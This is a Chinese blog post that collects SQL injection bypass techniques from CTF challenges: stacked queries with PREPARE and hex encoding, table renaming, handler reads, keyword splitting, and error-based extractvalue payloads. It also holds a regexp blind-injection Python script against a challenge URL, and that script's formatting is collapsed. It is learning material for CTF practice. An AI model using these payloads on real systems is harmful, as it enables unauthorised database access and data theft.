当前位置: 首页 > news >正文

SQL注入目录【绕过+布尔时间脚本】

常见绕过方式

过滤掉select

利用show爆出表名,列名

1';show databases;#
1';show tables;#
1';show columns from 表名;#

接下来有四种方法查询列(以强网杯随便注为例,查询表名为1919810931114514中的flag列):

注意使用 ` ` 包裹全是数字的表名

方法一:PREPARE预处理语句

构造

1';PREPARE test from concat('s','elect','* from `1919810931114514`');EXECUTE test;#

其中 PREPARE 语句:

用于创建一个预处理语句(将 SQL 语句模板化),它允许在执行 SQL 之前先进行预编译,然后可以通过传递参数来多次高效地执行这个预编译后的语句。

EXECUTE语句:执行之前通过 PREPARE 语句创建好的预处理语句对象。在这里就是执行名为 test 的那个包含了查询 1919810931114514 表所有数据的预处理语句

这样把select这个单词拆开,就可以使用select的查询功能,进而拿到flag

方法二:rename

1'; rename table words to word1; 
rename table `1919810931114514` to words;
alter table words add id int unsigned not Null auto_increment primary key; 
alter table words change flag data varchar(100);# 

方法三:十六进制编码绕过

将语句

select * from 1919810931114514 

用十六进制编码得到73656c656374202a2066726f6d20603139313938313039333131313435313460

然后构建(前面手动加上0x)

1';
SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
prepare execsql from @a;
execute execsql;#

其中SET语句:
在 MySQL 中,用户自定义变量以@符号开头,这里是@a。这里将用户自定义变量@a的值设置为十六进制编码。

PREPARE 语句:
用于创建一个预处理语句对象。它会将 @a 变量中存储的内容(也就是刚才经过十六进制转换后实际为 select * from 1919810931114514``` 的 SQL 语句)进行预编译,并给这个预编译后的语句对象命名为 execsql 。

然后再用EXECUTE语句执行这条预编译语句
就能利用十六进制编码绕过

方法四

 构建

1'; handler 1919810931114514 open as a; handler a read next;# 

 整体思路应该就是用handler打开一个表并取一个别名,再用handler x read next来打开这个别名,读取里面的信息,读取这个别名应该就不会存在关键词过滤的情况?

过滤掉order by

通过SELECT NULL来判断 id=1 SELECT NULL,NULL,NULL

过滤掉=/过滤空格

用like来替代,用()将内容包裹起来

1'or(1)like(1)# 
1'or(extractvalue(1,concat(0x7e,(select(database())))))#
1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e)))#

过滤关键字

分割关键字

sel<>ectsel/**/ect

双写绕过

例题:[极客大挑战 2019]BabySQL

当提交username为1' order by 3 #时,发现过滤了 or 和 by

此时用双写绕过

1'oorrder bbyy 3 #

大小写绕过

一般不行

过滤掉逗号

利用join方法绕过

比如说本来是

union select 1,2,3

 join语句

union select * from (select 1)a join (select 2)b join (select 3)

过滤掉substr()【在报错注入中出现】

使用right或者regexp

right:1'or(extractvalue(1,concat(0x7e,(select(right(password,20))from(H4rDsq1)),0x7e)))#

regexp:regexp 是 SQL 中的*正则表达式匹配运算符*

import requests  #requests 模块用于发送 HTTP 请求,与目标服务器进行交互。
import time      #time 模块用于添加延迟,避免请求过于频繁导致服务器拒绝。
#去掉了大写字母,可手动加上,ABCDEFGHIJKLMNOPQRSTUVWXYZ
#未写停止判断,当判断到strings最后一位且flag未在其中时停止即可
strings = 'abcdefghijklmnopqrstuvwxyz1234567890{}-_~' #定义了可能出现在 flag 中的字符集
i = 1
flag = ''  #flag 用于存储已经猜测到的部分 flag,初始为空字符串。
while i < 80:for one_char in strings:one_char = flag + one_char#先把已经猜好的和新遍历的字符拼接起来url = "http://4538af48-5b3e-451e-b6bf-565049f2caab.node4.buuoj.cn:81/check.php?username=12&password=1%27or%28extractvalue%281%2Cconcat%280x7e%2C%28select%28password%29from%28H4rDsq1%29where%28password%29regexp%28%27%5E"+str(one_char)+"%27%29%29%2C0x7e%29%29%29%23"#将one_char转换成字符串,以这个新猜的字符串为开头看看能不能匹配上真正的flag#如果能匹配上,它会返回匹配上的flag{xxxxxxxx}#(因为本意是查询有没有符合条件的字符串),所以回显的文本里会有flag字样time.sleep(0.05) #暂停 0.05 秒,避免请求过于频繁。rs = requests.get(url)if 'flag' in rs.text:   #如果响应文本中包含 'flag',说明当前猜测的部分 flag 是正确的,flag = one_charprint("\r", end="") #\r回车print('flag为:' + flag, end='')break

提交1,-1,0,a只有1会回显,即只有非零数字才能回显

联想到 || +强制类型转换

BUU7 [SUCTF 2019]EasySQL1-CSDN博客

解法1--利用PIPES_AS_CONCAT函数

1;set sql_mode=PIPES_AS_CONCAT;select 1

拼接完之后:select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
相当于是select 1 from Flag和select flag from Flag 

此时获得的是1和flag列拼接以后的结果,所以这个1填什么数字都行 

解法2--利用非预期漏洞 

1;select *,1

此时嵌入代码中就是 select 1;select *,1||flag from Flag,这里因为||解读不清楚的原因,可能会查询两个语句,即从Flag表格中select * 和 select 1||flag ,因为1||flag 结果为1,所以前一个查询结果返回flag的具体内容,后一个是返回查询1的内容(就是 [1] => 1 )

union联合查询伪造数据

BUU28 [GXYCTF2019]BabySQli1【如何判断Base34/Base32】【联合查询返回虚拟数据】-CSDN博客

布尔盲注 

[极客大挑战 2019]FinalSQL【SQL布尔盲注】-CSDN博客


http://www.mrgr.cn/news/93796.html

相关文章:

  • 【DeepSeek】5分钟快速实现本地化部署教程
  • Cursor安装配置
  • Mybatis中的分页操作,如何使用PageHelper进行分页,以及Spring Boot整合Mybatis Plus分页
  • QT项目初步认识(对象树)
  • vs code 设置字体颜色
  • deepseek在pycharm中的配置和简单应用
  • K8S学习之基础十九:k8s的四层代理Service
  • 分布式ETCD面试题及参考答案
  • 数据结构第六节:二叉搜索树(BST)的基本操作与实现
  • 数据结构第八节:红黑树(初阶)
  • 74LS148实现优先权管理
  • Python asyncIO 面试题及参考答案 草
  • 《C陷阱与缺陷》读书笔记(一)
  • 如何利用DeepSeek+OCR技术打造一款AI投标工具:自动解析招标文件并生成投标标书的工具?
  • 初识大模型——大语言模型 LLMBook 学习(一)
  • 利用pdf.js+百度翻译实现PDF翻译,创建中文PDF
  • 【UCB CS 61B SP24】Lecture 28 - Tries 学习笔记
  • Java多线程与高并发专题——什么是阻塞队列?
  • Linux中的TCP编程接口基本使用
  • 【开源界的Manus替代战:模块化设计 vs 跨平台实战 vs 全能开发,谁主沉浮?】